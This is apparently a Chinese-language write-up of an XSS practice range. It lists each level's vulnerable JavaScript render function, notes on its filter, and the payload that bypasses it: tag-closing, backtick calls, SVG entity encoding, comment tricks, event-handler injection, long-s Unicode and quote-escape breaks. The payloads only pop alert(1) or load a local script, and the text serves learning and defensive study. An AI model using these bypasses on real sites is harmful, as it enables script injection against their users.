<script>alert(1)</script>
0x00
function render (input) {
return '<div>' + input + '</div>'
}
<script>alert(1)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
</textarea><script>alert(1)</script><textarea>
0x02 单标签
function render (input) {
return '<input type="name" value="' + input + '">'
}
"><script>alert(1)</script><img
" onclick='alert(1)'
0x03 正则表达式 将小括号屏蔽掉变成空 可以用
反引号代替小括号
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
<script>alert`1`</script>
0x04 正则表达式 将小括号和反引号都变成空 翻译官
实体编码字符
对括号进行unicode编码 (ASCII转Unicode) svg就是会把unicode字符转成相应的ascii码
左括号是
( 右括号是
)
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
<svg><script>alert(1)</script>
<svg><script>alert`1`</script> //这是反引号的unicode编码
0x05 在前端中 <!-- -->是注释符 但是也可以这么写
<!-- --!> 而且前端中
前标签一定要闭合 后标签随便
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>
--!> <script>alert(1)</script> <!--
0x06 正则表达式: auto或者on开头 后面跟任意东西直到出现等号或者> 都转化为下划线
换行在前端程序中是可以成立执行的,换行一样有用(方法1)
设置为onmouseover 这样鼠标拂过即可触发(方法2)
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
onerror
="alert(1)"
onmouseover
="alert(1)"
0x07 正则表达式 所有标签类的
只允许写左标签 右标签一加上就替换为空
所以可以只写单标签的 如<img 实战中img会一直向后搜索 直到出现任何一个右标签才会结束掉img
<article> </article>
article标签内部允许img等标签的存在
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
<img src=x onerror="alert(1)"
0x08 style标签内部不能执行js代码
正则表达式 会把</style>替换成 /* 坏人 */ 换行再闭合即可(方法1)
(方法2)闭合完直接换行也可以绕过防火墙
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
</style
><script>alert(1)</script><style>
</style ><script>alert(1)</script><style>
0x09 输入的内容中必须有
http://www.segmentfault.com 否则就报错
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
http://www.segmentfault.com"></script><img src=x onerror="alert(1)"
http://www.segmentfault.com" onload="alert(1)
https://www.segmentfault.com"></script><script>alert(1)</script>
XSS1靶场高级篇
0x0A 将很多符号都转变成了unicode字符
js中需要加载多个网页可以使用@符号 同时<script src=xxx> 可以引入一个地址 地址中可以实现弹窗也行
在phpstudy本地下新建一个含弹窗代码的js文件 然后src定向到相应文件即可实现弹窗
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
http://www.segmentfault.com@http://127.0.0.1/abc.js
0x0B
toUpperCase会把所有内容转变成大写 大写的没有办法被执行 js是大小写敏感的
文件名是不敏感大小写的
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
<script src="http://127.0.0.1/ABC.JS"></script>
PS:ABC.JS中弹窗设置为1 这样这个靶场才会通关 这是无关紧要 掌握就行
js标签,src的地址,随便 但是js的语法是大小写敏感的,例如 ALERT没办法执行 公网上的地址必须是别人可以浏览的到才可以
0x0C
把所有的script替换为空 并且把输入的内容都变成大写
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
<scscriptript src="http://127.0.0.1/ABC.JS"></scscriptript>
0x0D
输入的内容会放到alert中,却在注释的部分 replace会把
左尖括号过滤为空
单引号
双引号 斜杠也会被替换为空
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
xx
alert(1)
-->
0x0E
匹配了左边< 左括号 然后加下划线 之后再将输入的内容都转成大写
使用维基百科搜索s,会发现长s 英文可以比较猥琐的绕过
ß(有时写成ss)
ſ(长s)
ʃ — Esh
∫ — 积分符号
$ — 钱的符号
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
<ſcript src="http://127.0.0.1/ABC.JS"></script>
0x0F
输入的东西都以文本形式在console显示 而且还存在替换
由于是onerror 所以没有闭合也没事,错了也没事,只要有一个能执行都可以
<script>console.log('haha');alert(1)</script>
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
onerror="console.error(' ');alert(1)// ')"
');alert(1)//
0x10
直接输入相应的alert命令即可实现弹窗
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
alert(1)
2
alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
");alert(1);//
0x12
双引号被转义了 加一个反斜杠把转移符号转义掉 就可以实现了
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
\");alert(1);//